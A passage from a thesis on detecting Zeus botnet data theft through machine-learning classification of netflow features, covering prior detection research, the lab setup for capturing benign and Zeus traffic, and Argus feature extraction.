the payload content of the POST messages (Step 5) from the infected host were encrypted 

using the RC4 algorithm.  This group did not report experimentation with classification 

techniques using the communications pattern information they learned. 

     Alserhani, Akhlaq, Awan, and Cullen (2010) also created an instance of Zeus and 

captured its network traffic in order to refine the signature files of a custom method that 

they compare with Snort®.  They reported that the victim host sent an HTTP GET request 

for an encrypted configuration file upon being infected.  The infected host then sent 

HTTP POST requests with encrypted payloads to request PHP files.  This is consistent 

with the network communications pattern described by Binsalleeh, Ormerod, Boukhtouta, 

Sinha, Youssef, Debbabi, and Wang (2010). 

     Oro, Luna, Felguera, Vilanova, and Serna (2010) experimented with using blacklists 

to detect Zeus bots and C&C servers.  Their research focused on the process of 

integrating IP blacklists from multiple providers and providing near real time responses 

to queries about IP reputation.  This research group also did not report experimentation 

with classification techniques for Zeus detection. 

     Riccardi, Di Pietro, and Vila (2011) and Riccardi, Di Pietro, Palanques, and Vila 

(2012) also analyzed the network traffic patterns of Zeus by creating instances and 

capturing the resulting data from running them.  These researchers reported using the 

2.0.8.9 version of Zeus that had previously been made public.  Much of their work 

focused on cryptanalysis techniques against the RC4 with a goal of deciphering Zeus 

configuration files.  They reported a communcations pattern between the infected host 

and command and control server that was very similar to the one previously reported by 
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Alserhani, Akhlaq, Awan, and Cullen (2010), and Binsalleeh, Ormerod, Boukhtouta, 

Sinha, Youssef, Debbabi, and Wang (2010).  First, the infected host makes an HTTP GET 

request for /config.bin to the C&C server.  Once the configuration file is received 

and installed, the infected host makes two types of HTTP POST requests for 

/gate.php to the C&C server.  The two types were identified as logs and reports, and 

they differed in size.  Their work employed a custom detection technique working at the 

packet level.  

     The research of Mohaisen and Alrawi (2013) focused on comparing the detection 

performance of machine learning techniques using flow level features from Zeus network 

traffic.  In this respect, it was similar to the work presented in this report.  Mohaisen and 

Alrawi, however, chose to evaluate five classifiers: one support vector machine (SVM), 

two logistic regression methods, one decision trees method, and one nearest neighbor 

method.  They did not provide a classifier selection rationale.  They considered only 

seven flow level features from the network traffic: destination IP, destination port, 

protocol, HTTP request type, HTTP response type, flow size, and DNS type.  However, 

their technique also included six features captured from the file system and four features 

from the registry of the infected host.  They found that the SVM produced the best results 

in terms of false positives and false negatives.  They also reported that the false negative 

rate of the decision trees method changed significantly when the training and testing sets 

were reversed, an inspiration for adding that step to the methodology in this work. 

     Haddadi, Runkel, Zincir-Heywood, and Heywood (2014) also evaluated the detection 

performance of multiple classifiers against bot malware network traffic.  They chose to 

evaluate two classifiers, the first was the C4.5 decision tree algorithm and the second was 
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the Symbiotic Bid-Based (SBB) algorithm, a form of genetic algorithm.  They considered 

14 flow level features that were produced using the Softflowd open source software.  

They trained the classifiers with labeled data, a supervised learning approach.  They used 

real network traces of Zeus, Conficker, and Torpig.  They found that these classifiers 

performed well using flow level features, which was their primary objective.  They also 

reported that the results were sensitive to the type of encoding used for certain attributes, 

an inspiration for adding that step to the methodology in this work.   

     Haq, Ahmed, and Syed (2014) focused on generating what they called faithful 

fingerprints of bot network activity, where faithful suggested comprehensive across 

possible variations due to network and host configurations and user activity.  They 

created a Zeus botnet and used its network traffic to validate their fingerprinting method.  

This research group did not report experimentation with classification techniques for 

Zeus detection. 

     Lu and Brooks (2012) describe how the inter-packet delays captured in Zeus network 

traffic were used successfully in a Hidden Markov Model detection approach.  Kocak, 

Miller, and Kesidis (2014) experimented with an unsupervised classification approach 

that considered a feature vector based on the sizes of the first 10 packets after the TCP 

flow three-way handshake.  Venkatesh and Nadarajan (2012) demonstrated how their 

neural network trained with labeled Zeus and Spyeye samples outperformed three 

competing classifiers, a C4.5 Decision Tree, a Random Forest, and a Radial Basis 

Function, in terms of true and false positives.  Alazab, Venkatraman, Watters, Alazab, 

and Alazab (2012) provide a general description of Zeus and describe how it sends stolen 

data to a command and control server via encrypted HTTP POST requests. Dietrich, 
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Rossow, and Pholmann (2013) experimented with an unsupervised learning approach to 

detection of Zeus and other bot malware using network traffic features to include 

message length, protocol, and HTTP encoding.  Using their hierarchical clustering they 

found that Zeus P2P, among others, did not have a distinctive message length. 

 

Gaps in the Literature 

     The following gaps noted in the literature are based on a synthesis of the reported 

approaches from multiple perspectives, namely, machine learning, problem domain, and 

theoretical perspectives.  These gaps are grouped into those resulting from the bot 

detection literature and those resulting from the AIS literature.   

     Using Mitchell’s definition of machine learning as a guide (Mitchell, 1997), the 

review of bot detection literature revealed a noticeable lack of techniques that benefitted 

from new experience.  The human expert validation provided to the methods of Binkley 

and Singh (2006) and Goebel and Holz (2007) were a manual step in that direction, but 

automated techniques were not reported.  Prior knowledge, on the other hand, was used 

extensively by the methods presented.  In fact, this revealed another key gap in the bot 

detection literature: techniques for independently validating selected and constructed 

features.  Most of the researchers reported the use of heuristically derived (constructed) 

features for model development and validation, but not for feature subset validation.  The 

reasons for choosing their features were based on domain knowledge and likely the 

success of previously reported results from other researchers.  However, the more formal 

approach to feature selection as a separate process (Guyon, 2007) and its benefits were 
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not reported by many of these researchers, with the notable exception of Livadas, Walsh, 

Lapsley, and Strayer (2006). 

     While a number of the bot detection methods presented in this chapter were described 

as anomaly detection techniques, few of them (Shin, Xu, & Gu, 2012) made explicit 

reference to the one-class classification methods described in the machine learning 

literature (Duda, Hart, & Stork, 2001; Hempstalk, 2009; Mitchell, 1997).  As a result, 

these anomaly detection methods were generally not compared with multi-class 

classifiers.  Perhaps comparing these anomaly detection (one-class classifier) methods 

with multi-class classifiers that had been trained with labeled anomalies might have led 

more researchers toward techniques that incorporated learning from new experience. 

     Filtering of network traffic to reduce computational intensity was a common theme 

among the bot detection researchers, even those not focusing exclusively on the IRC 

protocol (Gu, Perdisci, Zhang, & Lee, 2008; Gu, Porras, Yegneswaran, Fong, & Lee, 

2007; Villamarín-Salomón & Brustoloni, 2009; Yen & Reiter, 2008).  Most authors 

pointed out the information loss trade-off that resulted from filtering whole categories of 

network traffic.  However, most of the reported filtering was done heuristically without 

first evaluating all of the available features for relevance.   

     The AIS literature also left a gap regarding independent validation of selected and 

constructed features.  In immunology, epitopes represent the patterns of interest to the 

antibodies.  It follows that the fewest number of features to uniquely differentiate 

antigens from the host cells would be desirable, thus the epitopes are equivalent to feature 

vectors in machine learning.   
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     The challenge of managing immune system memory in an AIS was another area not 

fully investigated.  Kephart, Sorkin, Arnold, Chess, Tesauro, and White (2009) provided 

one very simple and direct approach, but many others did not address the issue.   

     The challenge of providing adequate coverage of the non-self space with negative 

selection approaches was addressed by several of the AIS researchers, but not from a 

theoretical perspective.  Each approach seemed to impose limits on the non-self space 

that may not be realistic for a real world dynamic threat environment.  Intuition suggests 

that it would be easier to define a finite self than an infinite non-self, and thus positive 

selection and traditional anomaly detection approaches would be more efficient.  

Researchers demonstrated a tractable negative selection approach based on a finite 

alphabet and a fixed string length, but those self strings had to remain stable over time.  

The same was not demonstrated for more complex relationships across dynamic data.  

This leaves the theoretical question of when to use positive selection versus negative 

selection open. 

     Few of the AIS methods explicitly referenced one-class classification methods either.  

AIS approaches designed to detect non-self activity based on a model of self created with 

self-only training data could be described as either an anomaly detection or a one-class 

classification problem.  Framing the problem as a one-class classification problem might 

help close the research gap between contemporary machine learning methods and 

artificial immune systems.   
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Summary 

    This chapter provided a review and analysis of research associated with bot activity 

detection and with the application of artificial immune systems and related anomaly 

detection methods to information security.  Fundamental to the analysis of the literature 

were concepts from Machine Learning, which were also presented.  A review of research 

specifically applied to the detection of Zeus bot malware was presented.  This body of 

research highlighted the previously reported patterns of Zeus network behavior.  Review 

of the literature revealed gaps from a machine learning perspective, from a problem 

domain perspective, and from a theoretical perspective.  These gaps were identified and 

discussed, and served as a guide for the research presented here.  
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Chapter 3 

Methodology 

 

Overview 

     The problem of detecting data theft from a networked computer was treated as a 

pattern classification problem.  The independent variables under consideration were the 

bot exfiltration activities and the dependent variables were the detection methods (Al-

Bataineh & White, 2012; Brezo, Santos, Bringas, & del Val, 2011; Zhang, Yu, Wu, & 

Watters, 2011).  In this work the detection methods took the form of classifiers with 

varying feature sets.  The impact of adding a novel feature, based on user interaction with 

the host, was the primary objective.  Another objective was to find the combination of 

classifier and feature set with the best performance, measured in terms of highest true 

positive rate with lowest false positive rate.  A constraint was imposed on the set of 

features available from the benign and malicious network traffic to reduce the compute 

intensity.  Only summary level features resulting from software that produced network 

flows, or netflows, was used.  Celik, Raghuram, Kesidis, and Miller (2011), Gu, Perdisci, 

Zhang, and Lee (2008), Gu, Porras, Yegneswaran, Fong, and Lee (2007), Haddadi, 

Runkel, Zincir-Heywood, and Heywood (2014), Yen and Reiter (2008, 2010) and 

Zeidanloo, Hosseinpur, and Boraziani (2010) used the network flow approach to simplify 

the feature selection process and reduce the computational intensity of their respective 

bot activity detection methods which were goals in this work.  This approach has a 

potential drawback, however.  Namely, these flow records do not provide full details 
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about individual packets or their payloads, thus limiting the number of observed features 

available.  The innovation in this approach was the integration of a feature derived from 

an independent process for monitoring user interaction with the infected host.   

     The methodology included steps to determine the most discriminating features that 

could be derived from the data through feature selection and feature construction, and 

steps to determine the best performing classifier under increasingly complex conditions.  

The first set of conditions was designed to evaluate the classifiers against a relatively 

small dataset after being trained with examples of both classes, benign and malicious.  

The final set of conditions was designed to evaluate the classifiers against relatively large 

datasets divided into separate training and testing subsets, where the testing subsets 

consisted entirely of flows the classifiers had never seen.  The nature of the underlying 

network data in the datasets was also significant, consisting of some repeating patterns of 

application network activity and some novel patterns introduced through user interaction.   

     The traditional approach to solving classification problems involves iteration over a 

series of steps (Bishop, 2007; Duda, Hart, & Stork, 2001; Guyon, 2007; Mitchell, 1997), 

as depicted in Figure 3-1.  Prior knowledge about the problem domain can be used to 

bootstrap the feature and model selection steps, particularly in cases where the number or 

dimensionality of the features is high or where training data is sparse (Guyon, 2007).   
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Figure 3-1. Methodology for Designing a Classifier (Duda, Hart, & Stork, 2001) 

 
     The number of available features for this work was over one hundred, thus the use of 

domain knowledge in the feature selection process was appropriate.   Note also that this 

methodology employed a supervised learning approach that included a training step.  The 

training step required data labeled with the proper classes.  In multi-class classification 

problems, the training set requires labeled instances of each category.  Data representing 

known malicious bot activity was used to validate and test the classifiers in the evaluation 

step. 

 

Data Collection Approach 

     This work required generating both the host interaction data and the benign network 

data that would subsequently be integrated with malicious network data to train and test 
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the classifiers.  Most of the data was produced on an isolated network segment comprised 

of physical hosts.  Benign data was collected when this segment was connected to the 

Internet.  Malicious bot activity samples were then merged with the higher volume 

benign samples.  Al-Bataineh and White (2012), Celik, Raghuram, Kesidis, and Miller 

(2011), Hofmeyr and Forrest (2000), Strayer, Walsh, Livadas, and Lapsley (2006), and 

Zhang, Luo, Perdisci, and Gu (2011) employed similar methods of integrating malicious 

samples with benign network traces.  This approach has a number of merits.  First, it 

avoids the dangers and potential legal and ethical issues of dealing with bot malware in 

the wild which come with the use of honeypots on the Internet.  For example, allowing a 

host to be compromised and remotely controlled could inadvertently result in its use for 

illegal purposes such as a contributor to a distributed denial of service attack (Sadasivam, 

Samudrala, and Yang, 2005).   Next, it allows for control over relevant host and network 

activity, which is essential from an experimental perspective.  This approach also allows 

for faster-than-real-time processing and repeatability for the evaluation steps (Hofmeyr 

and Forrest, 2000).  Unfortunately, this approach limits the ability to directly compare 

results with those from other researchers, since unique data sets are created and used.  

However, the comparison of true and false positive rates from independent data sets is a 

commonly accepted research practice and was used for this work.   

     The first step in the data collection process was to configure a local area network with 

hosts for generating and collecting network traffic.  This network consisted of two 

physical hosts for generating network traffic and one physical host for capturing it.  The 

two hosts for generating data were equipped with software to monitor and record user 

interaction.  Both were laptop personal computers running Microsoft Windows operating 
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systems, one Windows XP and the other Windows 7.  The host for capturing data was 

desktop personal computer running a Linux operating system, CentOS.  A network hub 

as opposed to a switch was used to connect the hosts.  This allowed the Linux host, which 

was responsible for capturing data, to see all network traffic to and from the three hosts 

connected to the hub.  Thus data could be captured from two vantage points, the network 

interface and the operating system of the host to be protected.  From the network 

interface perspective, all network traffic to and from the host was captured using the 

tcpdump command on the Linux workstation.  From the host operating system 

perspective, all user interaction with application software and within a browser was 

captured using a software application designed for recording such information.  

     The next step was to generate benign network traffic.  This step consisted of 

connecting the local network to the Internet, allowing network-enabled software 

applications to communicate with remote hosts, and interacting with network-enabled 

software to generate dynamic network traffic.  In order to ensure that the patterns of 

network behavior changed over time, a variety of user interaction scenarios were 

executed while the data is being captured.  One of the scenarios was user configuration of 

system software to automatically communicate with remote hosts, namely operating 

system software performing periodic updates.  Another scenario was user installation of 

new software onto the system which would then independently communicate with remote 

hosts, namely an email client.  Another scenario was user interaction with web browser 

software to read news articles and watch news videos from a news aggregator web site, 

namely Google News.   
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     Figure 3-2 provides a graphic example of the resulting data when the destination 

addresses (remote servers) of the benign netflows are plotted over time.  In this view, the 

points that appear to fall along a horizontal line represent repeated sessions with the same 

remote server.  Points that appear to fall along a vertical line represent sessions with 

many different remote servers at nearly the same time and correspond to periods of user 

interaction.  On April 9th, the Mozilla Thunderbird email client was installed, configured 

for a Microsoft email account, and activated on the host.  What appears in the plot to be a 

solid horizontal line is actually four parallel streams of frequent netflows (TCP sessions) 

with corresponding Microsoft email servers. 

 

Figure 3-2.  Plot of network sessions with remote servers over time 
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     The plot in Figure 3-2 consists of 487,490 netflows to 3,700 unique destination 

addresses during the month of April 2013 and highlights the steady increase in the 

cumulative number of remote servers a typical host communicates with over time and the 

corresponding challenge of whitelisting approaches to monitoring network activity.  The 

number of unique destination addresses increased to 4,440 by the end of May 2013 and to 

5,576 by the end of June 2013 in the benign dataset. 

     The final step in the data collection process was to acquire samples of actual network 

traffic from the Zeus botnet.  Acquiring samples of Zeus traffic was accomplished by 

searching and retrieving files from the Internet and by requesting and receiving samples 

via email from honeypot operators.  The first samples of Zeus network traffic were found 

on a Sourcefire VRT Labs web site associated with the Snort® open source intrusion 

detection system.  Three packet capture files were provided as links within an undated 

online report titled Analysis of the Zeus Trojan by Alex Kirk.   The internal packet 

timestamps reveal that the network activity occurred on the 25th and 26th of February 

2010.  These samples will be referred to as the 2010 Zeus in subsequent sections.  Two 

additional samples of Zeus network traffic were found on a web site called Contagio 

Malware Dump.  One was classified as Zeus and the other as Game-Over Zeus and they 

were captured in March and February of 2012, respectively.  These samples will be 

referred to as the 2012 Zeus in subsequent sections.  The final, and largest, set of Zeus 

samples was received from a research group that operates a honeynet for the purpose of 

capturing samples of malware in the wild.  This dataset is described in the next section 

and in Appendix A.   
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Analysis of Zeus Network Data Samples 

     Samples of network traffic from the Zeus botnet were evaluated through manual deep 

packet inspection using the Wireshark network protocol analyzer.  Table 3-1 summarizes 

fifteen files containing network traffic samples of Zeus that were received from the 

operators of Sandnet, an environment for analyzing the network behavior of malware 

implemented at the Institute for Internet Security, University of Applied Sciences in 

Gelsenkirchen, Germany (Rossow et al., 2011).  These samples were captured in the wild 

in March and April 2014.  In the table, filenames are truncated to the last three characters 

of their original form.  The Total Connections column provides the number of unique 

TCP connections in the file.  The Suspicious Connections column provides the number of 

connections to other than well-known Google or Microsoft servers.  The 30 sessions with 

Google servers contained only HTTP GET methods, as did the single session with a 

Microsoft Windows Update server.  The remaining sessions with suspicious servers 

contained HTTP GET, HTTP POST, or both, as enumerated in the Suspicious GET and 

Suspicious POST columns.  Note that some connections contained multiple HTTP 

request methods.  The Domain Generation column indicates whether or not an automatic 

domain generation algorithm (DGA) was observed in that sample file.  Note that the first 

eight files in the table each included POST requests but did not use a DGA for domain 

names.  Conversely, the next seven files did use a DGA but did not include any POST 

requests.  Since the HTTP POST method is known to be used by Zeus to transfer stolen 

data from the infected client (Binsalleeh, Ormerod, Boukhtouta, Sinha, Youssef, 

Debbabi, & Wang, 2010; Riccardi, Di Pietro, Palanques, & Vila, 2013) and none of the 

HTTP GET methods in the seven DGA files included a payload, only the first eight files 



65 

 

are detailed here.  These eight files provided the samples for testing and comparing 

detection rates. 

 

Table 3-1. Files of Real-world Zeus Network Trace Data from 2014 

Filename 
(last-3) 

Total 
Connections 

Suspicious 
Connections 

Suspicious 
GET 

Suspicious 
POST 

Domain 
Generation? 

32c 16 16 10 11 No 
b8c 15 11 0 11 No 
2d7 9 7 0 14 No 
9ca 9 7 1 15 No 
054 7 3 8 2 No 
3f9 7 5 0 20 No 
3b7 6 3 1 2 No 
058 3 3 0 3 No 
d61 14 12 12 0 Yes 
390 8 6 6 0 Yes 
6a5 6 4 4 0 Yes 
766 6 4 4 0 Yes 
102 5 3 3 0 Yes 
a87 4 2 2 0 Yes 
b21 4 2 2 0 Yes 

 

     The analysis of these samples provides new evidence that Zeus uses the HTTP 

protocol to load malware on a victim host and to transmit data from the compromised 

host to a remote server.  These examples demonstrate that the GET and POST methods 

were used to retrieve malware files from a remote server and that the GET and POST 

methods were used to send encrypted data to a remote server.  Use of the POST method 

to retrieve malware files was not reported by Al-Bataineh and White (2012), Binsalleeh, 

Ormerod, Boukhtouta, Sinha, Youssef, Debbabi, and Wang (2010), Kirk (2010), or 

Riccardi, Di Pietro, Palanques, and Vila (2013). 
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     By way of comparison, the example in Table 3-2 of 2012 Zeus also provided evidence 

of a Zeus instance using both the GET and POST methods to retrieve malware files from 

a remote server. However, the payload was not encrypted in either of the file requests 

using the POST method in contrast to the 2014 Zeus examples.  

Table 3-2. Real-world Zeus Network Trace Data from 2012 

Filename 
(last-3) 

Total 
Connections 

Suspicious 
Connections 

Suspicious 
GET 

Suspicious 
POST 

Domain 
Generation? 

2cc 11 10 2 8 No 
 

     The examples in Table 3-3 of 2010 Zeus provide evidence of Zeus instances using 

only the GET method to retrieve malware files from a remote server.  The POST method 

was used only to send encrypted data, likely status messages.  Note that some 

connections in the third file contained multiple HTTP request methods. 

Table 3-3. Real-world Zeus Network Trace Data from 2010 

Filename 
(last-3) 

Total 
Connections 

Suspicious 
Connections 

Suspicious 
GET 

Suspicious 
POST 

Domain 
Generation? 

e-1 71 15 2 13 No 
e-2 5 5 2 3 No 
e-3 5 5 3 4 No 

 

Packet Inspection Process 

     The first step in the packet inspection process is to open the packet capture trace file in 

Wireshark.  By default Wireshark displays three panes: Packet List, Packet Details, and 

Packet Bytes.  Figure 3-3 illustrates the first lines of the Packet List window pane from 

which a TCP connection can be chosen from one of its packets. 
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Figure 3-3. Wireshark time-ordered packet listing 

      

     The next step is to use the “Follow TCP Stream” function of Wireshark which 

displays a summary of the information from all packets comprising that TCP connection 

between the client and remote server.  Figure 3-4 illustrates how Wireshark presents the 

contents of the connection in ASCII format for inspection.  HTTP header information 

plus any message content from the local client is shown first and highlighted in one color, 

header plus any message content from the remote server is shown next and highlighted in 

a second color.  A given TCP connection, defined by the traffic over a unique source and 

destination IP and port combination, may contain multiple exchanges of HTTP messages.   
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Figure 3-4. Wireshark “Follow TCP Stream” “ASCII” View 

 

     The “Follow TCP Stream” function of Wireshark offers additional formats for 

viewing.  The “Hex Dump” view, as shown in Figure 3-5, provides a running count in its 

left-most column which is convenient for determining byte totals of the HTTP messages. 
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Figure 3-5. Wireshark “Follow TCP Stream” “Hex Dump” View 

 

Using these views within Wireshark, the contents of the HTTP messages can be 

evaluated for peculiarities in the use of headers and body.   

     Part of the evaluation process is to look up the destination IP address and any 

hostname provided in the HTTP Host header.  The whois command provides a query 

service for IP address and domain name registration information.  The Zeus Tracker web 

site provides a query service for information on previously identified Zeus command and 

control (C&C) and supporting servers.   

     The final step in the inspection process is to compare features derived from the TCP 

connections using Wireshark with features derived automatically using Argus to generate 

net flows.  This step reveals how Argus partitions a single TCP connection into one or 

more net flows and how much packet overhead from IP and TCP wrappers is included. 
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     Appendix A is organized into sections for each of the sample files examined, with 

subsections for each TCP connection.  In most of the subsections the HTTP headers are 

shown but the message bodies are removed.  This is to reduce the amount of non-readable 

text in the appendix.   The local client IP address within the honeynet is not relevant to 

the analysis and therefore not explicitly stated.  The destination port value is always 80 

and therefore not explicitly stated. 

 

Collection of Benign Network Data and User Interaction Data 

     A network consisting of three hosts, one hub, and one router connected to the Internet 

formed the experimentation environment.  Two hosts were used for generating network 

traffic and one for capturing and analyzing the network data.  The primary producer host 

was configured with Windows XP Service Pack 2 as its operating system and 10.0.1.101 

as its IP address.  The secondary producer host was configured with Windows 7 as its 

operating system and 10.0.1.110 as its IP address.  The monitor host was configured with 

CentOS 6.3 Linux as its operating system and 10.0.1.100 as its IP address.  The router 

was configured with 10.0.1.1 as its IP address.  The monitor and producer hosts were 

configured to use Network Time Protocol (NTP) and connect to the same NTP server for 

updates so their clocks would remain synchronized.  The hub device was used to enable 

the monitor host to see and capture the network traffic to and from all hosts.   

     The primary producer host, henceforth called host 101 for its abbreviated IP address, 

was used to generate network traffic both automatically and interactively through 

software applications that establish remote network connections.  For example, its 

Windows XP operating system was configured to automatically check for updates from 
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remote Microsoft servers.  An email client was loaded and configured to automatically 

check for new mail.  NTP was enabled.  A web browser application was periodically left 

connected to a web site hosting resources that automatically refreshed.  A user interacted 

with host 101 on an aperiodic basis, starting and stopping applications, loading new 

applications, checking email, and browsing the web.  The secondary producer host was 

used in the same fashion, though with less frequent user interaction.  Traffic from the 

secondary producer host was envisioned to serve as a back-up source of data.  Since it 

was not needed, data collected from that host will be retained for future work. 

     The tcpdump command was used to capture all packets on the local network and 

store them in files with a date and time stamp as part of the filename.  This data provided 

samples of benign network traffic, under varying conditions, that was subsequently 

merged with malicious network traffic for the experimentation.  The packet capture 

process ran continuously on the Linux monitor host.  The tcpdump command was used 

with the following parameters: 

     tcpdump -tttt -G 7200 -Z root -w ‘out-%Y%m%d-%H%M’ 

This command produced an uninterrupted series of packet capture files, each two hours 

long (7200 seconds), for the period 01 March through 18 July 2013.  The capture files 

were stored in subdirectories named 2013-03, 2013-04, 2013-05, 2013-06, and 2013-07.  

The resulting file type for each was "tcpdump capture file (little-endian) - version 2.4 

(Ethernet, capture length 65535)" which can be obtained by issuing the file command 

(Unix) with any of the individual filenames as a parameter.  The Wireshark network 

protocol analyzer reads this format natively.   
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     To capture data about user interaction with host 101, a third party application was 

used.  This application, KidLogger, kept a record of keystrokes made, applications 

launched, and web sites visited in the form of HTML log files.  This application was 

chosen from among several competing offerings because of its logging function and 

format, and because of its apparent robustness to changes in the host configuration.  The 

user interaction capture process ran continuously on host 101 from 31 March through 18 

July 2013 and produced a log for each day of user interaction.  Since the logs were 

created in HTML format they were both human readable and relatively easy to parse.  

Figure 3-6 illustrates an example of two interaction log entries. 

 
<p class="app" time="11:53" name="chrome">11:53 Google - Google 

Chrome </p> 

 

<p class="keystrokes" name="www.google.com" dur="0" 

time="11:53">scrapple</p> 

 

Figure 3-6.  Sample Entries from Interaction Log 
 

In this example, the user selected the Chrome browser application (first log entry) and 

then entered the word “scrapple” on the www.google.com web page (second log entry) at 

a time of 11:53.  This highlights that the relevant features, action and time, are in quotes 

and therefore easy to parse.  It also highlights one of the deficiencies of using this 

particular software: poor fidelity of the timestamp.  Stated more specifically, the event 

time is only recorded to the minute with the seconds truncated.  This lack of higher 

fidelity time information was accommodated, as described in a later section.   

     To collect samples of malicious Zeus network activity, the Internet was scoured for 

network trace files and email requests were sent to honeynet operators.  Searching the 
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Internet produced a small set of sample files that served as the basis for developing and 

refining the experimentation methodology.  The email requests for data resulted in a more 

current and comprehensive set of sample botnet packet capture files that were used for 

the experimentation.  These samples were collected in March and April of 2014.  The 

detailed analysis of these contemporary Zeus network traffic samples is provided in 

Appendix A.   

 

Data Preparation and Management 

     This work focused on the features available from network traffic summaries as 

opposed to individual packets.  The aggregation of packets into meaningful summaries 

before classification reduces the amount of processing required and therefore increases 

speed, an important consideration for network intrusion detection systems.  Commercial 

routers, such as those produced by Cisco, include the generation of flow records in their 

operating systems.  Open Source tools, such as Argus, are also available to provide 

similar functionality at the network interface or from packet capture files.  Argus was 

used for this research.  Converting packet capture files to transaction-level summaries, 

henceforth called netflows, with the open source application Argus was a two-step 

process.  The first step created netflows from the capture files using the argus 

command, and the second step created readable text files for viewing and subsequent 

parsing using the ra command.  The argus command was used with the following 

parameters: 

     argus -A -J -R -r <pkt-in-file> -w <argus-out-file> 

where 
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-A generated application byte metrics in each audit record, 

-J generated packet performance data in each audit record, 

-R generated records such that response time can be derived, 

-r was the packet file to read, and 

-w was the Argus file to write. 

The ra command was used with the following parameters: 

     ra -nn –F rarc -r <argus-out-file> > <outfile> 

where 

-nn suppressed lookups for port to service and protocol to name, 

-F specified a configuration file with additional parameters, and 

-r was the Argus file to read. 

Note that fields (features) were specified in the configuration file (rarc).  The ra 

command was first used to produce all supported features for evaluation.  Once the 

relevant features were chosen, as described in a subsequent section, the ra command was 

then used with the chosen subset of features listed in its configuration file, as seen with 

the RA_FIELD_SPECIFIER in Figure 3-7. 

 

RA_TIME_FORMAT="%FT%T" 

RA_FIELD_DELIMITER=',' 

RA_PRINT_NAMES=proto 

RA_FIELD_SPECIFIER= stime proto saddr sport daddr dport dur 

sbytes dbytes stos dtos sttl dttl spkts dpkts sappbytes dappbytes 

sload dload srate drate sloss dloss sintpkt dintpkt sjit djit 

state stcpb dtcpb tcprtt synack ackdat inode offset flgs tcpopt 

dir rate ltime 

Figure 3-7. Configuration File (rarc) Contents 
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     In order to facilitate the process of converting the large collection of packet capture 

files to netflow files, scripts were used to run the argus and ra commands against a list 

of the capture files. Table 3-4 describes this process.   

 
Table 3-4. Steps for Batch Creation of Netflow Files 

1. Create a list of argus 

input files (file-list) 

ll out-* | awk '{ print $9 }' >> file-list 

2. Run argus against 

each file in list (script 

batchArgus) 

#!/bin/bash 

# use with file of filenames called file-list 

for i in $(cat file-list); do argus -A -J -R -r $i 

-w $i.argus; done 

3. Create a list of argus 

output files (file-list-

argus) 

ll *.argus | awk '{ print $9 }' >> file-list-argus 

4. Run ra against each 

file in new list (script 

batchRa) 

#!/bin/bash 

# use with file of filenames called file-list-

argus 

for i in $(cat file-list-argus); do ra -nn -F rarc 

-r $i > $i.ra; done 

 

Initial Feature Selection 

     An analysis of all features produced by Argus (version 3.0.6) on the experimental data 

revealed that many Argus flow features were not likely to be useful.  They had zero, null, 

or fixed values, or they repeated the values of another feature.  Table 3-5 summarizes the 

results of this analysis and includes a column labeled “Useful” to distinguish between 

those 63 features that were initially considered and those 40 that were not.  After further 

analysis, 23 of the 63 initial candidates were also deemed unnecessary.  The predominant 

reason for this further reduction was feature independence.  For example, the feature 

named packets (pkts) was not necessary since it was simply a sum of source packets 
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(spkts) and destination packets (dpkts).  Other features were removed because their 

observed values were inconsistent with samples of the benign trace data. The 40 features 

that remained equate to those specified in the configuration file (rarc) in Figure 3-7.   

Table 3-5.  Full Set of Candidate Netflow Features from Argus 

Feature Description Sample Results Useful 

stime record start time hh:mm:ss.SSSSSS Y 

ltime record last time hh:mm:ss.SSSSSS Y 

flgs flow state flags seen in transaction in fixed positions Y 

seq argus sequence number incrementing int Y N 

dur record total duration 0.000000s Y 

smac source MAC address of local h/w ( argus -m ) Y N 

dmac destination MAC address of local h/w ( argus -m ) Y N 

soui oui portion of the source MAC address of local h/w ( argus -m ) Y N 

doui oui portion of the source MAC address of local h/w ( argus -m ) Y N 

saddr source IP address IPv4 address Y 

daddr destination IP address IPv4 address Y 

proto transaction protocol tcp, udp, etc. Y 

sport source port number use -n for number  Y 

dport destination port number use -n for number  Y 

stos source TOS byte value discreet values or blank Y 

dtos destination TOS byte value discreet values or blank Y 

sdsb source diff serve byte value cs0, cs1, etc. or blank Y N 

ddsb destination diff serve byte value cs0, cs1, etc. or blank Y N 

sttl src -> dst TTL value discreet values or blank Y 

dttl dst -> src TTL value discreet values or blank Y 

sipid source IP identifier hex value or blank Y N 

dipid destination IP identifier hex value or blank Y N 
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Feature Description Sample Results Useful 

pkts total transaction packet count discreet values not blank Y N 

spkts src -> dst packet count discreet values not blank Y 

dpkts dst -> src packet count discreet values not blank Y 

bytes total transaction bytes discreet values not blank Y N 

sbytes src -> dst transaction bytes discreet values not blank Y 

dbytes dst -> src transaction bytes discreet values not blank Y 

appbytes total application bytes discreet values not blank ( 
argus -A ) 

Y N 

sappbytes src -> dst application bytes discreet values not blank ( 
argus -A ) 

Y 

dappbytes dst -> src application bytes discreet values not blank ( 
argus -A ) 

Y 

load bits per second float with asterisk or 
0.000000 

Y N 

sload source bits per second float with asterisk or 
0.000000 

Y 

dload destination bits per second float with asterisk or 
0.000000 

Y 

loss pkts retransmitted or dropped 0, 1, 2, etc. Y N 

sloss source pkts retransmitted or dropped 0, 1, 2, etc. Y 

dloss destination pkts retransmitted or dropped 0, 1, 2, etc. Y 

ploss percent pkts retransmitted or dropped float with asterisk or 
0.000000 

Y N 

rate pkts per second float without asterisk Y 

srate source pkts per second float without asterisk Y 

drate destination pkts per second float without asterisk Y 

dir direction of transaction ->, <->, <-, <?>, or 'who' Y 

sintpkt source interpacket arrival time (mSec) float without asterisk ( 
argus -J ) 

Y 
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Feature Description Sample Results Useful 

sintpktact source active interpacket arrival time 
(mSec) 

float without asterisk ( 
argus -J ) 

Y N 

sintpktidl source idle interpacket arrival time (mSec) float without asterisk ( 
argus -J ) 

Y N 

dintpkt destination interpacket arrival time (mSec) float without asterisk ( 
argus -J ) 

Y 

dintpktact destination active interpacket arrival time 
(mSec) 

float without asterisk ( 
argus -J ) 

Y N 

dintpktidl destination idle interpacket arrival time 
(mSec) 

float without asterisk ( 
argus -J ) 

Y N 

sjit source jitter (mSec) float without asterisk or 
blank ( argus -J ) 

Y 

sjitact source active jitter (mSec) float without asterisk or 
blank ( argus -J ) 

Y N 

djit destination jitter (mSec) float without asterisk or 
blank ( argus -J ) 

Y 

djitact destination active jitter (mSec) float without asterisk or 
blank ( argus -J ) 

Y N 

state transaction state CON, INT, FIN, etc. Y 

swin source TCP window advertisement int (some w/asterisk) or 
blank 

Y N 

dwin destination TCP window advertisement int (some w/asterisk) or 
blank 

Y N 

stcpb source TCP base sequence number int or blank Y 

dtcpb destination TCP base sequence number int or blank Y 

